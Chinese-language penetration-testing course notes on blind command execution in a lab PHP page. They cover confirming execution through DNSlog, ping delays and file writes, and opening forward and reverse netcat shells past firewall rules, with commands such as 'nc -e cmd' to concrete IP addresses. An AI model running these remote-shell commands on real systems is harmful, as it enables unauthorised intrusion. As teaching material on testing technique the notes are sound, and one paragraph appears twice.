演示案例:
➢ 数据不回显-原因解决-反弹&带外&延迟&写文件
➢ 数据不出网-原因解决-正反连接&出入站策略&隧道
#数据不回显-原因解决-反弹&带外&延迟&写文件
原因:代码层面函数调用问题,没有输出测试等(比如:php中System()函数和shell_exec()函数,System()函数有回显,shell_exec()函数不回显)
演示:
先写一段php代码,搭建一个网站,先把shell_exec()函数注释,来体现system()函数的效果

http://localhost/rce.php?c=config发现有回显

然后再把System()函数注释,访问http://localhost/rce.php?c=config发现没回显

既然没回显那怎么判断命令执没执行,访问http://localhost/rce.php?c=calc弹出计算器说明执行了只是没回显

如果把源码写成echo shell_exec($_GET[‘c’])这样就也能输出了
过程:
1、判断是不是数据不回显并且有漏洞
2、有这个漏洞如何把执行的数据拿到呢
解决:
1、反弹权限
判定目标的操作系统
https://forum.ywhack.com/shell.php
https://cloud.tencent.com/developer/article/1906240
被控端:nc -e cmd 119.45.254.149 7777
控制端:nc -lvp 7777
2、数据带外
DNSlog
TCP-Portlog 用的命令是nc,linux自带,windows没有
ICMP-Sizelog
演示:
用的是yakit它里面自带

dnslog带外

会随机生成一个域名,网站去ping一下这个域名,然后发现下面有记录,说明命令执行了
剩下两个也是一样!
3、延迟判断
发包看回显时间
Win:ping -n 3 127.0.0.1
Linux:ping -c 3 127.0.0.1
这个-c和-n就是ping的发包次数发的越多时间自然就越长
演示:
http://localhost/rce.php?c=ping 127.0.0.1耗时是3秒

http://localhost/rce.php?c=ping -n 10 127.0.0.1耗时是9秒

这就可以证明命令被执行了,存在命令执行漏洞。
4、写访问文件
写静态文件或写入可访问的文件确定
可以echo 123>1.txt这也是个思路,原本没这个文件,访问有有了,说明有漏洞。
5、其他:根据环境
文件下载等(反连的意义)
这个就是你自己搭建一个网站,然后执行一个下载这个网站文件的命令,看看自己搭建网站有没有连接请求。
#数据不出网-原因解决-正反连接&出入站策略&隧道
环境:Windows外网靶机 Linux外网攻击机
拓展思考:Windows内网靶机或Linux内网攻击机呢

1、Linux外网服务器想要控制内网主机1时,只能使用反弹shell不能正向shell,因为主机1可以通过路由器找到Linux外网服务器,但是Linux外网服务器只能找到路由器,找不到下面的主机1。想要访问必须要对路由器上做端口映射(NET转发),但是在渗透测试中是几乎不可能做到的。
2、如果是主机1想要控制Linux外网服务器,只能正向shell。
1、Linux外网服务器想要控制内网主机1时,只能使用反弹shell不能正向shell,因为主机1可以通过路由器找到Linux外网服务器,但是Linux外网服务器只能找到路由器,找不到下面的主机1。想要访问必须要对路由器上做端口映射(NET转发),但是在渗透测试中是几乎不可能做到的。
2、如果是主机1想要控制Linux外网服务器,只能正向shell。
流程:
1、判断出入限制
2、判断出入限制的端口和协议
3、分析原因用正向还是反向还是隧道
原因:主机或应用防火墙出站限制
解决:利用NC反弹实验
1、正向连接
2、反向连接
3、隧道技术
识点1:终端是用户与计算机交互的界面,通常基于文本,允许用户输入命令并查看输出。作为用户输入命令和接收输出的界面,早期是物理设备,现在通常是图形界面中的模拟器,如Terminal或GNOME Terminal。提供输入输出环境,启动shell,显示命令执行结果。
Shell是命令行解释器,解析并执行用户输入的命令。连接用户和操作系统内核,处理命令,执行程序,支持脚本编写。
知识点:2:正向反向是取决于被控制端是谁,比如现在有两台服务器,一台Windows服务器,一台Linux服务器,如果Windows服务器作为被控制端的话,正向shell就是Windows使用nc工具把cmd绑定在某个端口,Linux使用nc工具连接Windows的指定端口,如果是反向shell(也叫反弹shell),Linux使用nc工具监听某个端口,Windows使用nc工具主动连接某个ip的某个端口,然后将cmd shell关联到这个连接,把shell环境传输给Linux,如果Linux是被控制端,正反向shell也是一样。
实验:相对于靶机角度
1、开启入站策略,采用反向连接
反向连接:主动给出去,对方监听
//绑定CMD到目标IP的6666端口
nc -e cmd 146.56.193.187 6666
//等待6666连接
nc -lvp 6666
2、开启出站策略,采用正向连接
正向连接:本地监听等待对方连接
//绑定CMD到本地6666端口
nc -e cmd -lvp 6666
//主动连接目标6666
nc 43.134.218.194 6666
3、开启出站策略,采用其他协议隧道
ICMP,DNS等隧道技术(后期讲)
由上述内容发现还需那些内容学习:
1、其他反弹项目使用 工具或自带命令
2、系统操作命令使用 文件下载
3、复杂内网通讯隧道